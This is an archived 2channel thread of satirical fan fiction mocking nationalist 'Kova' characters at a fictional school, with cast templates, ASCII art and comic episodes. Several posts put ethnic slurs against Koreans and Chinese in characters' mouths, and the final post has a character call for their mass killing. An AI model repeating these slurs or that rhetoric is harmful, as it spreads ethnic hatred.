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学園物語★KOVA17歳11〜デムパの城マツザワ〜

1 :名無しかましてよかですか?:2006/09/05(火) 12:09:58 ID:xW3eX1Kj
あるところに一人の男がいた・・・。彼はネットで、リアルで、学校で、
職場で、家庭で様々な伝説を作り上げていった・・・・。
彼の名前はコヴァ。このスレッドは彼らの波瀾万丈の日常を記録した
ネタスレである。ネタであってくれ…。本当にネタだよな・・・・

前スレ
学園物語★KOVA17歳10〜火病の谷のコヴァ〜
http://tmp6.2ch.net/test/read.cgi/kova/1148654713/

まとめサイト
http://www.geocities.jp/gakuen_kova17/

2 :名無しかましてよかですか?:2006/09/05(火) 12:57:59 ID:gzNwExfp
464 :ついでに新スレ向けのテンプレ改正案 :2006/08/24(木) 21:46:44 ID:DvAS9yOO
・このスレって??
もし「ゴーマニズム宣言」に感化されまくった人=コヴァが実際に高校生として生活していたと
したらどうなるだろう…みたいな感じで投稿された文章を楽しむネタスレです。>>1のログを見てね。
人大杉です 2ちゃんブラウザ(無料)を入れましょう
http://www.monazilla.org/

・登場人物はどんな感じなの?
木場ヒロシ…一応このスレの主人公。17歳。私立有名進学高校に通う。
        とはいっても引き篭もり気味。周囲からは「コヴァ」の愛称(?)で呼ばれている。
        政治思想板の引退した某コテハンがモデルとも言われる。口癖は「ブサヨ」・「売国奴」・「うおおお!!」などなど。
        しかし、ここ最近、林間カヅフサの強烈なデンパにやられてしまったのと、元ネタが一般人化しつつある現状を踏まえ、
        社会復帰が進み、日に日に一般人に近づきつつある。
林間カヅフサ…35歳。一応コヴァたちの通う私立海武学園の非常勤講師だが、
          それ以前は長い間ニート生活を送っていた。大阪府比良方市出身。
          元ネタの軍板およびコヴァ板での大活躍でいまや、コヴァに代わる主役状態。
          怒ったときに「かんしゃくおこす!!!1!」と絶叫する癖がある。
担任…最もコヴァたちの電波を浴びてしまっている人その一でありコヴァ被害者の会会長。
     コヴァの高校の担任にして、日本史の教師なので何かと苦労が多い。30近い年齢だが未だ独身。
     よく「日教組」とコヴァに罵られるが、組合には所属していない模様。
     最近、林間カヅフサが加わり、ますます頭を痛めている。
     いい加減彼を誰か幸せにしてやってください。
木場正一…ヒロシの父親。公立中学校の美術教師。日教組の組合員でかなり現場に顔が利く模様。
        サヨクというより左翼思想の持ち主にして「北の将軍様」にそっくりのルックス。
        また、彼の父親は一成といい、コヴァと同じような思想だったらしい。
       なお、現在クビにリーチかかっていてテンパってます。


3 :名無しかましてよかですか?:2006/09/05(火) 12:59:06 ID:gzNwExfp
木場秋子…ヒロシの母親。最もコヴァの電波を浴びてしまっている人そのニ。
        温和な女性。正一との結婚理由は最大の謎か。
       ここ最近、息子たちが社会復帰しつつあることから、
       長い間の苦しみから解放されつつある。
木場マサオ…ヒロシの兄。おそらく字は「正男」。木場家の長男。23歳。思想的にはコヴァに近い。
         というよりコヴァは兄経由で小林よしのり氏と出会ったものと思われる。
         かつては無職のヒッキーだったが、現在は郵便局のアルバイトとして働いている。
        いまや、ほぼ一般人と変わらない状態にまで社会復帰を成し遂げた。
教頭…コヴァの通う高校の教頭。定年間近の年齢と思われる。某政党の代表とは関係ないと思う。多分。
     立場上、コヴァと話すより担任と話すことの方が多く、担任の良き相談役となっている。
     が、よく担任をピンチに追い込むのもコイツである。恐らく、国崎学級にマホ・ジバク
    キモの三人を送り込んだのもコイツの仕業と思われる。ここ最近、GTOの教頭化が進行中。
真保…フェミファシストと損ニーと朝鮮半島をこよなく憎む元帥。あけおめ砲と強力な
    視覚兵器を持つ。コヴァと良くつるんでいる。通称カルボナーラ真保
千葉…銃とジャイアントカプリコをこよなく愛する神○モテモテ王国の自称国王。
    突撃隊長であるらしい。やっぱりコヴァと良くつるんでいる。本名千葉久之。
    年老いた保険外交員のママーンがいるぞ!DQNと犬が苦手。
肝井…長野県出身のキモい人。ヲタのキモい部分だけ濃縮して、ヲタ成分を全部抜いた
    キモさ純粋培養150パーセント。学園内でかまってくれるのがコヴァご一行のみに
    なってしまったため金魚のウンコのようにひっついてかまってもらっているらしい。
    女装好きでマゾ(本人の弁によるとツンデレ)でアニメやゲームの女キャラのなりきりが大好き。
守本…エイトプリンスシティーの「特に一人の人」。海武学園非常勤講師。
    毎日ゴミ捨て場のゴミ袋をあさっているらしい。本名は守本紳八。
    かつては林間カヅフサも住んでいた大阪府比良方市に住んでいた。


4 :名無しかましてよかですか?:2006/09/05(火) 13:00:08 ID:gzNwExfp
菊地メグミ…コヴァの義妹にあたる。16歳。M高校1年生。
        かつて正一が岩手への出張の折に知り合った現地の女性との子。
        母を亡くしてエイトプリンスのコヴァ家に居候することに。
        木場家にはすっかり家族の一員として馴染んでいる。
精神科医三人娘…都立松沢病院に勤務する三人の女医のこと。
            免下怜、ヨシダキリコ、月宮アユミの3人から成る。

その他のキャラはこんな感じです。
http://www.geocities.jp/gakuen_kova17/zinbutu.html

上記の設定は自然発生的に出てきた物なので、ある程度は無視して書いても
ネタとして完成されてあればごく普通に喜ばれる傾向にあるようです。

・感想を書きたいんだけど?
大歓迎です。ネタ職人さんも喜ぶものと思われます。
ただその感想を元に延々と議論したりするのはスレの趣旨上(ry
あと、キモ味のコピペは削除依頼へ、ジバクはとことん無視してください。
NGワードは下記に挙げるスレにある彼らのカキコから適当に拾ってください。
かまってあげると大喜びするので、とことん無視でお願いします。

・ネタを作りたいんだけど?
貴方が見つけた紳士/コヴァの微笑ましい行動54
http://tmp6.2ch.net/test/read.cgi/kova/1155353220/
【キモ味が】紳士様専用ライブスレッド22【泣く頃に】
http://tmp6.2ch.net/test/read.cgi/kova/1155520050/
【雑談緊急指令】愛国☆アニメ10【-4・10-10】
http://tmp6.2ch.net/test/read.cgi/kova/1153658524/
【インド論に】小林よしのり将軍を語る39【wktk】
http://tmp6.2ch.net/test/read.cgi/kova/1152330535/
上記のスレでライブ活動を繰り広げている人々を参考にしてネタを作ってくらはい
勿論、ほかのスレや板でネタ元を見つけてそこからネタを作るのも大歓迎です。

5 :名無しかましてよかですか?:2006/09/05(火) 13:00:21 ID:uWJd3n9/
・このスレって??
もし「ゴーマニズム宣言」に感化されまくった人=コヴァが実際に高校生として生活していたと
したらどうなるだろう…みたいな感じで投稿された文章を楽しむネタスレです。>>1のログを見てね。
人大杉です 2ちゃんブラウザ(無料)を入れましょう
http://www.monazilla.org/

・登場人物はどんな感じなの?
木場ヒロシ…一応このスレの主人公。17歳。私立有名進学高校に通う。
        とはいっても引き篭もり気味。周囲からは「コヴァ」の愛称(?)で呼ばれている。
        政治思想板の引退した某コテハンがモデルとも言われる。口癖は「ブサヨ」・「売国奴」・「うおおお!!」などなど。
        しかし、ここ最近、林間カヅフサの強烈なデンパにやられてしまったのと、元ネタが一般人化しつつある現状を踏まえ、
        社会復帰が進み、日に日に一般人に近づきつつある。
林間カヅフサ…35歳。一応コヴァたちの通う私立海武学園の非常勤講師だが、
          それ以前は長い間ニート生活を送っていた。大阪府比良方市出身。
          元ネタの軍板およびコヴァ板での大活躍でいまや、コヴァに代わる主役状態。
          怒ったときに「かんしゃくおこす!!!1!」と絶叫する癖がある。
担任…最もコヴァたちの電波を浴びてしまっている人その一でありコヴァ被害者の会会長。
     コヴァの高校の担任にして、日本史の教師なので何かと苦労が多い。30近い年齢だが未だ独身。
     よく「日教組」とコヴァに罵られるが、組合には所属していない模様。
     最近、林間カヅフサが加わり、ますます頭を痛めている。
     いい加減彼を誰か幸せにしてやってください。
木場正一…ヒロシの父親。公立中学校の美術教師。日教組の組合員でかなり現場に顔が利く模様。
        サヨクというより左翼思想の持ち主にして「北の将軍様」にそっくりのルックス。
        また、彼の父親は一成といい、コヴァと同じような思想だったらしい。
       なお、現在クビにリーチかかっていてテンパってます。

6 :名無しかましてよかですか?:2006/09/05(火) 13:01:00 ID:GGauvjXO
木場秋子…ヒロシの母親。最もコヴァの電波を浴びてしまっている人そのニ。
        温和な女性。正一との結婚理由は最大の謎か。
       ここ最近、息子たちが社会復帰しつつあることから、
       長い間の苦しみから解放されつつある。
木場マサオ…ヒロシの兄。おそらく字は「正男」。木場家の長男。23歳。思想的にはコヴァに近い。
         というよりコヴァは兄経由で小林よしのり氏と出会ったものと思われる。
         かつては無職のヒッキーだったが、現在は郵便局のアルバイトとして働いている。
        いまや、ほぼ一般人と変わらない状態にまで社会復帰を成し遂げた。
教頭…コヴァの通う高校の教頭。定年間近の年齢と思われる。某政党の代表とは関係ないと思う。多分。
     立場上、コヴァと話すより担任と話すことの方が多く、担任の良き相談役となっている。
     が、よく担任をピンチに追い込むのもコイツである。恐らく、国崎学級にマホ・ジバク
    キモの三人を送り込んだのもコイツの仕業と思われる。ここ最近、GTOの教頭化が進行中。
真保…フェミファシストと損ニーと朝鮮半島をこよなく憎む元帥。あけおめ砲と強力な
    視覚兵器を持つ。コヴァと良くつるんでいる。通称カルボナーラ真保
千葉…銃とジャイアントカプリコをこよなく愛する神○モテモテ王国の自称国王。
    突撃隊長であるらしい。やっぱりコヴァと良くつるんでいる。本名千葉久之。
    年老いた保険外交員のママーンがいるぞ!DQNと犬が苦手。
肝井…長野県出身のキモい人。ヲタのキモい部分だけ濃縮して、ヲタ成分を全部抜いた
    キモさ純粋培養150パーセント。学園内でかまってくれるのがコヴァご一行のみに
    なってしまったため金魚のウンコのようにひっついてかまってもらっているらしい。
    女装好きでマゾ(本人の弁によるとツンデレ)でアニメやゲームの女キャラのなりきりが大好き。
守本…エイトプリンスシティーの「特に一人の人」。海武学園非常勤講師。
    毎日ゴミ捨て場のゴミ袋をあさっているらしい。本名は守本紳八。
    かつては林間カヅフサも住んでいた大阪府比良方市に住んでいた。

7 :名無しかましてよかですか?:2006/09/05(火) 13:02:08 ID:GGauvjXO
菊地メグミ…コヴァの義妹にあたる。16歳。M高校1年生。
        かつて正一が岩手への出張の折に知り合った現地の女性との子。
        母を亡くしてエイトプリンスのコヴァ家に居候することに。
        木場家にはすっかり家族の一員として馴染んでいる。
精神科医三人娘…都立松沢病院に勤務する三人の女医のこと。
            免下怜、ヨシダキリコ、月宮アユミの3人から成る。

その他のキャラはこんな感じです。
http://www.geocities.jp/gakuen_kova17/zinbutu.html

上記の設定は自然発生的に出てきた物なので、ある程度は無視して書いても
ネタとして完成されてあればごく普通に喜ばれる傾向にあるようです。

・感想を書きたいんだけど?
大歓迎です。ネタ職人さんも喜ぶものと思われます。
ただその感想を元に延々と議論したりするのはスレの趣旨上(ry
あと、キモ味のコピペは削除依頼へ、ジバクはとことん無視してください。
NGワードは下記に挙げるスレにある彼らのカキコから適当に拾ってください。
かまってあげると大喜びするので、とことん無視でお願いします。

・ネタを作りたいんだけど?
貴方が見つけた紳士/コヴァの微笑ましい行動54
http://tmp6.2ch.net/test/read.cgi/kova/1155353220/
【キモ味が】紳士様専用ライブスレッド22【泣く頃に】
http://tmp6.2ch.net/test/read.cgi/kova/1155520050/
【雑談緊急指令】愛国☆アニメ10【-4・10-10】
http://tmp6.2ch.net/test/read.cgi/kova/1153658524/
【インド論に】小林よしのり将軍を語る39【wktk】
http://tmp6.2ch.net/test/read.cgi/kova/1152330535/
上記のスレでライブ活動を繰り広げている人々を参考にしてネタを作ってくらはい
勿論、ほかのスレや板でネタ元を見つけてそこからネタを作るのも大歓迎です。


8 :名無しかましてよかですか?:2006/09/05(火) 13:03:19 ID:uWJd3n9/
・学園物以外でもいいですか?
コヴァがタイムスリップしたり映画の予告編みたく書くのも
特に問題無いようです。要は面白ければ何でもOK??

・思想的にはコヴァに近いんだけど参加したい。
もちろん大歓迎です。ただネタスレである事をくれぐれもお忘れなく…。

・自分が馬鹿にされているような気がしたので煽りたい。
スレの趣旨上(ry

・学園モノじゃなきゃダメなの?新しくキャラ作ってもいいの?
学園物に限ると言うことでは決してありません。どんどん違う年代のコヴァを
作っていって下さい。大歓迎です。既に大学生コヴァはいますし。
でも、年齢が上に行けば行くほど悲惨な
展開に(リストラとかホームレスとか)になりやすいので注意。
新しいキャラはどんどん作ってかまいません。ただ、自分で育てるつもりがないと
厳しいかも。いかに思想的にキャラを立てることが出来るかが正念場ですね。
このスレ割りと名前が出てきても一発キャラで終わる人多いですw
あと、キモちゃんとか理系たんとかいうのは紳士さまを通り越した、
キモイ物体の自作自演なので無視してください。


9 :名無しかましてよかですか?:2006/09/05(火) 13:03:39 ID:GGauvjXO
小ネタ・保守用のAAです。お気軽にお使いください。

                     
    ビシッ  / ̄ ̄ ̄ ̄\       / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
    / ̄\(  人____)    /   
  , ┤    ト|ミ/  ー◎-◎-)   /
 |  \_/  ヽ    (_ _) ) <     
 |   __( ̄ |∴ノ  3 ノ   \    
 |    __)_ノ ヽ     ノ | ̄|   \                 
 ヽ___) ノ    ))憂国ヽ.|∩|    \__________________

    _  ――   _
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 \|┿━ \| ┿━\   |  / 
   ┏━┓  ┏━┓ ⌒ヽ | < 
   ┃  ┣━┫  ┃  .ノ.|   \
   ┗━┛  ┗━┛ ┌' /    \           
   | ∪    ∪ ゛ //     \
   \       //         \__________________
     \ ▽ _/ ̄  


10 :名無しかましてよかですか?:2006/09/05(火) 16:02:32 ID:zw3pXydF
>>1


11 :名無しかましてよかですか?:2006/09/06(水) 17:27:27 ID:bfEdFEE9
ほしゅ

12 :名無しかましてよかですか?:2006/09/06(水) 18:03:48 ID:gfMSDbZB
ジバクちゃん日記の中の人・・・キモ味の家の隣にすんでいた綺麗なお姉さん。現在はOL。

理系たん・・・ツインテールアスペルガー症候群の美少女。そして理系である。

13 :名無しかましてよかですか?:2006/09/06(水) 18:34:40 ID:bfEdFEE9
という肝井の脳内恋人

14 :不謹慎な話ですが・・・・:2006/09/07(木) 23:57:53 ID:EVvCMlg3
海武学園。
コヴァと吉田、鳥坂の通称「林間カヅフサ被害者の会」
の三人組が雑談していた。
コヴァ「うぼぼぼ・・・。皇室に内親王が誕生されましたにょ。
    大変めでたいですにょ」
吉田「そうだな。ただ俺の個人的意見としては、将来的には
    女系天皇も認めなければ。と思うけどな。まあ、典型的な
    男系論者のお前とは、そこらあたりは対立する意見だけどな」
コヴァ「そうですかね。やっぱこの国の伝統を考えると、男系の方が・・・」

鳥坂「まあまあ。そこらあたりはいずれにしろ、1〜2年で結論出せないやろ?」
そこにやってきたのは、今や「海武学園の寄生虫」と呼ばれる、林間である。
なんだか、えらく落ち込んでいる。
鳥坂「あれ?林間先生えらく落ち込んでいますね?内親王がお生まれになって、
   喜んでいると思ったのに・・・・」
林間「うるせえ!!1、ポチとブサヨども!!かんしゃくおこす!!11!」
吉田「一体どうしたんだよ?」
林間「俺はなあ、マコリンベンか、カコリンベンに天皇陛下になってほしかったんだ、
    そして、ヴァルキリーたんの鎧を身に着けて、公式行事に・・。
    ちきしょう!!!11!!、ウルトラかんしゃくおこす!!!!!!!」  

15 :不謹慎な話ですが・・・・:2006/09/07(木) 23:58:25 ID:EVvCMlg3
あまりの馬鹿馬鹿しい発想にあきれ返る三人組。
コヴァ「そりゃあ、ボクチンだって、マコリンベンやカコリンベンは
     可愛いと思いますにょ、でもこれとそれとは、
     全くの別問題ですにょ」
吉田 「大体国家の元首たる者が、何が悲しくてエロゲのコスプレなんぞしなくちゃいけないんだよ?
    アンタ気確かか?」
林間「うるせえ、ハイパーかんしゃくおこす!!!。こうなりゃ実力行使だ、愛○病院に行って
   内親王を・・・(あまりにも不謹慎なので以下自粛
と言うなり、教室を飛び出した林間。
吉田「おい、林間&コヴァ、いつものように国崎先生に・・・・」

以下いつものパターン。

16 :名無しかましてよかですか?:2006/09/08(金) 00:10:21 ID:kFGbCflV
>>14-15
×内親王→親王

17 :14−15:2006/09/08(金) 00:30:59 ID:uFyPExLQ
>>16
すんません間違えました。

ついでに最後の吉田のセリフは
×吉田「おい、林間&コヴァ、いつものように国崎先生に・・・・」
           ↓
○吉田「おい、鳥坂&コヴァ、いつものように国崎先生に・・・・」
です。

18 :林間、また間違える:2006/09/08(金) 14:04:14 ID:kFGbCflV
日本史の時間
担任「…というわけで、5.15事件はおきて、犬養毅首相は暗殺されました。
このことで、軍人が首相になって8年続いた憲政の常道は
終わりを告げました。…今日はここまでにします。何か質問は?」
コヴァ「はい」
担任「…コヴァ、何だ?」
コヴァ「こないだの政経で林間先生が吉田に「5.15事件は革新官僚=皇道派の起こした事件」
と絡んでたんでしゅが、確か海軍には皇道派はなかったですよね?」
担任「ああ、無いよ。少なくともそういう団体としてはね。」
遠くの教室からドアが開く音が聞こえると、ダカダカダカと何かが走ってくる音がした。
後ろのドアが開き、林間が現れた。
林間「国崎ー!!1!俺の言っていることが間違いだと!11!11」
担任「うん、違うよ。てか、お前、3組で授業してたはずだろ?」
林間「俺の地獄耳をなめるな!1!!俺の能力をもってすれば、そのくらい聞こえる!!1!」
キモ味「うぐ?そんなこと言って、ボクに小型集音機を持たせておいたんじゃん!
ボクの功績を認めてよ!ボクと林間先生は一心同体!!!」
林間「ああっ!余計なことを言うな肝井!1!!これだからアニメなんか見ている
キモヲタは信用できん!!!1!肝井といい、吉田といい、コヴァといい!!1!!」
ジバク「おや?林間先生、エヴァスキー君にはそのような大事な任務を任せて
わしには秘密にしとったのかの?いけないんじゃよ」
キモ味「うぐぅ〜、ボクはオタクじゃないもん!!オタクのふりしてるとみんなが
かまってくれるから、オタクのふりしてるだけだもん!本当は一般人のいい子だよもん1!1」
林間「やかましい!エヴァだとかハルヒだとかアニメばかり見ている
奴のどこがヲタじゃないんだ?あと、鍵とかいうエロゲーの信者じゃないか、お前は。」

19 :林間、また間違える:2006/09/08(金) 14:06:15 ID:kFGbCflV
キモ味「うぎゅー!違うんだよもん!1!!エヴァやハルヒは普通の高校生なら
見て当然だし!!エヴァは今度映画が出るからいまさらじゃないし!!
それに鍵ゲーはエロゲーじゃない!1!!百歩譲ってもエモーショナルロマンティックゲーム
の略なんだよもん。本来はシェークスピアと並べておかしくない文学だよもん!1!!!」
ジバク「まったく、これだから関西の地方愚民は信用ならん。日本政府は即刻
東京の山の手を除く地域以外を分離してチョソの領土にでもすべきなんじゃよ。
もちろんわしは神に選ばれし上流階級じゃから、日本人のままなんじゃよ」
林間「あー、やかましいやかましい。まず千葉、お前、関西人をなめんなや。ダボが。
ママンの手を借りんと外出すらままならんくせにお前こそ日本人にふさわしくない。
次に肝井、ガキでもねえのにアニメなんか見て喜ぶのは、お前を含め、吉田や鳥坂、コヴァの
三大デンパのような能無しで馬鹿でロリコンで妄想癖があってポチブサヨな奴なんだよ。
あと、エロゲーごときが文学?馬鹿もいい加減にしろ。この林間カヅフサ様の聖典たる
「戦乙女ヴァルキリー」でもそこまで神格化はせんわダボが!!1!!」
キモ味「!!!1!!鍵とエヴァとハルヒを馬鹿にするな!1!!1
大肝味帝国憲法第三条「鍵とエヴァとハルヒは神聖にして侵すべからず」!!1!!
謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ謝罪しろ
うrf朗へ市府hrtぎりjjりghふぃお合意gthぐいおtrh!!!!!」
担任「あー、そこの三人、早退していいよ。つか林間、お前何の用事で来たんだよ。
キモ味をファビョらせに来たわけじゃあるまい。」
林間「ああ、そうだった。5.15事件は軍の皇道派が起こしたんじゃないのか?」
担任「さっきも言ったけど、海軍に皇道派は無いよ。少なくとも皇道派に相当する団体もない。」
林間「そ、そんな…俺が間違っていたというのか…2.26事件の時、海軍は何をしてたんだ?」
担任「一応、海軍の陸戦隊が東京に鎮圧をしに行き、戦艦長門が反乱軍に向けて
主砲の標準をあわせていたらしい。2.26事件に海軍の軍人が加わっているという情報は
俺は聞いたことがない。俺が知っているのはそのくらいだ。」
林間「そ、そうか…」
林間は肩を落とすと、とぼとぼと去っていった。

20 :名無しかましてよかですか?:2006/09/08(金) 22:39:45 ID:j3RuI0RD
>>19
>見て当然だし!!エヴァは今度映画が出るからいまさらじゃないし!!

ちょwwwなんで先に言っちゃうかな〜〜wwww 
今、1997年の頃の今田東野のラジオをうpされたものを聴いたんだが、
エヴァ好きの芸能人って多いよな。 ぶい (^^)
っていうか、ガイナックスはもう、エヴァを汚すな! かんしゃく起こすwwww


21 :名無しかましてよかですか?:2006/09/08(金) 22:48:35 ID:v5ous9XK
キモ味にぴったりの作品紹介
http://www.senakablog.com/archives/2006/09/post_639.html
http://www.galge.com/galge/nomember/sbp/topics/06/08/21/index.html
「ハルヒ」や「なのは」「AIR」よりも、ずっといいんじゃないのか?「理系たんで抜ける」とか言ってた位だしwwwwww

22 :名無しかましてよかですか?:2006/09/08(金) 23:07:57 ID:j3RuI0RD
>>21
ちょ、馬鹿じゃないの?
理系たんは ツインテール の 美 少 女  !!!!!
ホモは芯でくださいなのです。

23 :名無しかましてよかですか?:2006/09/09(土) 03:43:13 ID:erCxF3+0
リクエスト
ジバクはじめデムパ軍団がホテルの朝食ビュッフェで大暴れする話

24 :名無しかましてよかですか?:2006/09/09(土) 15:02:27 ID:eSh/pqR9
>ホモは芯でくださいなのです。
根釜ストーカーのキモ味がね

つか>>20>>22マジキモイ
違うというのならキモ味お気に入りの黒髪の美少女とやらに
そのレスを見せて気も区内よね?って聞いてみなよ

25 :名無しかましてよかですか?:2006/09/09(土) 15:24:17 ID:PamaYY1i
┌────ー┐_____________
│い 女. ‐┐| ____________  |
│い└‐  ア │     __,r‐r-ュ、_        | |
│   が ニ │  _,ィ>゙┴┴<>、     | | ,. -―――‐-
│      メ. | /-ァr' ,        Y      |/
│       の |{/ ノィ {_从、 {_从、 ハ      |{  ハ、
└────ー┘  弋ト|化「``伝j'}イ |       | \{ ヽ)レへヘ、
    | |        人''' ;__ '''' /l l!       | | ∩;、―  } __
    | |      //ノ>,ニ´ィ〔リj 八.     | |.ル⌒〃zノ"6}
    | | _r==ュ〈//「77<水コ//゙ ̄\ヽ  \、|∠、___,、 j  l´
    | |((´△ニ△`))//⌒/´ ̄Vー-ィ}\\ノノ| | `卞´ ,/{  廴
    | |  ̄`ー、 V/ハ::::个:::::::イ¬ィ川:リ>イ! | | └ーく  //
    |  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄,/@\ ̄ ̄ |    ル'/
  |兀三三三三三三三三三三三\ %8\ー<三兀||  /´
  |川   //  //    // \o(こ¨ヽ\川|| /
  |川  //  //   //    \_入__,. ヾl|| /

キモ味のAAハケーン

26 :元祖ナショナリスト ◆jgMo7T56/. :2006/09/10(日) 03:35:25 ID:yik8OKJ5
キモ助の思考が簡単に探り当てられるとは…なんて単純なんだ…。
あと、鍵ゲーはシェークスピアに並ぶ芸術作品!も懐かしーフレーズ。

27 :名無しかましてよかですか?:2006/09/10(日) 07:14:02 ID:olfaLbZV
>>25
リアルな女のほうがいいに決まってるじゃん。何を言ってるんだ?


28 :林間、また間違える:2006/09/10(日) 09:35:57 ID:v7EUgfiZ
>>27
http://d.hatena.ne.jp/jibakuchan/20050713/p6
351 :名無しかましてよかですか? 2005/07/13(水) 22:01:22 ID:a33LeJw1
>>348
そんな、愛のない穢れた行為では魂は癒されない。
現実に鍵ゲーを越えたものがあると思うのか?
http://d.hatena.ne.jp/jibakuchan/20050701/p6
736 :名無しかましてよかですか? :sage :2005/07/01(金) 23:44:11 ID:bdSb2Eol
鍵ゲーキャラは僕にも優しく微笑みかける。
ところが現実はどうよ?、君たちも僕に優しくしてくれないし。
鍵ゲー(超現実)>>>>>>>>現実。

29 :恐ろしい体験:2006/09/10(日) 11:24:10 ID:v7EUgfiZ
すっかり涼しくなった秋の風を受けながらメグミが人気の無い河川敷脇の夜の道を歩いていた。
メグミ「ふぅ〜、すっかり遅くなっちゃった。早く帰らないとお父さんとお義母さんが心配するわ」
その時、メグミは気配を感じた。何者かが走って近づいてくる!それはキモ味だった。
キモ味「うぐぅ〜、メグミたん、仲良くしようお^^」
メグミ「なーんだ、三バカ軍団のザコじゃないの。」
キモ味「ひどぉい、ボクはザコじゃないお。ボクは肝井味平、17歳の一般人だお」
メグミ「あたしはお前にかまってる暇は無いのよ。消えろ。」
キモ味「いやだよ、ボクをかまってよ、かまってーかまってーかまってーかまってー」
キモ味はまとわりつこうとする。攻撃しようにも、メグミは今、金属バットを携行していない…
メグミはちょうどいいところに木の枝が落ちているのを見つけた。
メグミ「さっさと消えなさいよ!早くおうちに帰らないと、ひどい目に遭わすわよ」
キモ味「そんな事はどうでもいいから、ボクと小一時間PCについてお話しようよ。」
メグミは実力行使に出た。ピシッ、ピシッとキモ味の顔面に枝を当てる。
キモ味の顔から血がにじみ出る。しかし、本人の表情はいたって幸せそうだ。
キモ味「気持ちいい〜、もっとやって〜」
メグミ「そうか、ヒロシ兄ちゃんから聞いた事あるけど、確かこいつマゾだったのよね。」
メグミは駆け出した。早くこの人気の無い河川敷沿いの道から抜け出さなければ。
キモ味も後ろから必死に追ってくる。
河川敷の出口200メートル手前でメグミはちょうどいい太さの木の棒を見つけた。
メグミ「大きな木も無いのにこんな大きな木の棒が落ちてるなんて、
なんか話が出来すぎてるけど、ま、いいか。」
キモ味「メーグーミーたーん、ボクの家で一緒にハルヒを見ようよ。君も絶対気に入るはずだよ」
メグミ「それ以上近づかないで。近づいたらこの棒で頭蓋骨叩き割るわよ。」
メグミは木の棒でキモ味を威嚇しながら険しい表情で言った。
キモ味「うぐぅ、わかってるよ、ツンデレなんだからぁ。メグミたんが言いたいのは、
『肝井君、君が大好き』そう言いたいんだよね、本心では。もっと素直になっていいよ」

30 :恐ろしい体験:2006/09/10(日) 11:26:32 ID:v7EUgfiZ
メグミは寒気がした。そして全てを悟った。こいつは人から嫌われる度に「ツンデレ」
の名の元で誤魔化してきたのだろう。自分が嫌われているのは自分の性格などに
起因しているのではない、すべて相手がツンデレだからである。そう思い込む事によって
自己正当化を図ってきたのだ。それは別の考え方をすれば、ストーカーの考えそのものである。
つまり、今、メグミの目の前にいるキモ味と呼ばれる物体はまさしくストーカー!
メグミは覚悟した。ストーカーのキモ味を自分から遠ざけるには相当ひどい目にあわせて
自分への恐怖心を植えつける以外には無い。メグミは木の棒を構えた。
キモ味「うぐぅ、もっと罵声を浴びせてよ。今日のメグミちゃんはキレがなさすぎるよ。」
メグミ「たぁあありゃぁあああああ!!!!菊地流奥義!!鎖四棒!!!!」
メグミは木の棒を振り下ろした。メグミのスマッシュにキモ味もさすがに苦しそうな顔をする。
しかし…
キモ味「うぐぅ、メグミたん、痛いよ、いいよ!いいよ!それでこそツンデレ!
うぐぅ〜、僕メグミたんのことがますます好きになりそう。メグミたんさえよければ
ボクの理系たんになってもらいたい…アスペルガーじゃなくてもいいからさ」
キモ味はポークビッツをおっきさせながらうれしそうな顔で言った。
メグミは木の棒で何度もキモ味を滅多打ちにした。そしてついには棒がおれてしまった。
キモ味は頭を抱えながらうーうー唸っている。さすがに懲りただろう。
メグミは河川敷の道の出口の信号を渡って別の河川敷の道に入った。
ここの800メートルをわたりきれば、家まではもうすぐだ。
恐ろしいストーカーを撃退した安堵感か、メグミはまだ満月ではない夜空を眺めていた。
その時であった。メグミの足に何かがしがみついた。さっき倒したはずのキモ味だった。
キモ味「うーう、うー、うおあああ…」
キモ味はバイオハザードのゾンビのようなうめき声を上げながらメグミの足にしがみついていた。
キモ味がメグミの足を引っ張るとメグミは地面に仰向けに倒れた。

31 :恐ろしい体験:2006/09/10(日) 11:27:46 ID:v7EUgfiZ
キモ味「うぐぅ…メグミたん…ひどいじゃないかあんなに殴るなんて…
いくらボクのことが大好きだからといってあんな愛情表現は無いでしょ…」
メグミ「い…いや!誰か助けて!!!!お父さん、お義母さん、お兄ちゃん、天国のお母さん!」
メグミが絶望的な状況下で叫んでいると、向こうから「何をやっている!!!!」という声がした。
キモ味は必死で逃げようとするが、今度はメグミに足をつかまれた。
メグミ「逃がさないわ。罪を償いなさい。」
メグミは今まで誰にも見せた事の無いほど恐ろしい表情でキモ味に言った。
やってきたのはメグミの義兄のマサヲとコヴァ、そして一匹の柴犬だった。
この犬は木場家の犬、ヨシノリ(オス、4歳、柴犬、
本名:ヨーステン・シルバー・ノルマン・リューベック)である。
コヴァ「キモいの!何をやっているんでしゅか!」
マサヲ「またお前か…懲りん奴だな。ヒロシがお前の友達やめた理由がよくわかるわ」
メグミが二人に事情を話した。
キモ味「ひっ、ひい!許してくださーーーーい!!!もうしません!!!」
マサヲ「だめだね。ヨシノリ、噛みつけ!」
ヨシノリがキモ味に噛み付く。
キモ味「痛い痛い!!助けて、もうやりません、ごめんなさぁあああい!!!」
キモ味はものすごい速さでどこかへ逃げていった。
マサヲ「ヨシノリ、帰ってこーい」
ヨシノリが帰ってきた。その後、心に深い傷を残したメグミを励ましながら、
兄妹は仲良く家に帰った。

32 :名無しかましてよかですか?:2006/09/10(日) 13:54:30 ID:olfaLbZV
>>29-30
ツンデレを理解してから書き込め。薄いな!

33 :名無しかましてよかですか?:2006/09/10(日) 14:05:10 ID:v7EUgfiZ
>>32
メグミ=スレ住人
肝井味平=キモ味
と置き換えれば自分がどれだけ人の嫌がることをやっているかわかるはずだが。


34 :名無しかましてよかですか?:2006/09/11(月) 02:14:40 ID:x93W2AAn
>>31
犬の名前が略してヨシノリか、なるほど。

35 :名無しかましてよかですか?:2006/09/13(水) 00:59:01 ID:rR1PPDD4
いつもの教室
ジバクと林間が二人で何かを話し合っている。
林間「日本はさっさと日米安保条約を破棄して自主防衛すべき!!!1!!」
ジバク「林間先生、それは違うんじゃよ。ここはアメリカ様の軍備を頼って
神聖なる核の光でチョン、チャンコロを滅ぼし、残った在日チョソ、チャンコロを
栄光ある大日本帝国陸軍が片っ端からDQN、地方愚民ともどもマシンガンで滅ぼすべきであり…」
林間「ええーい!うるさい!アメリカ人はDNAレベルで残虐だ!
あのような野蛮人に我々日本人が米帝の世界征服の野望に手を貸すべきではない!!1!!」
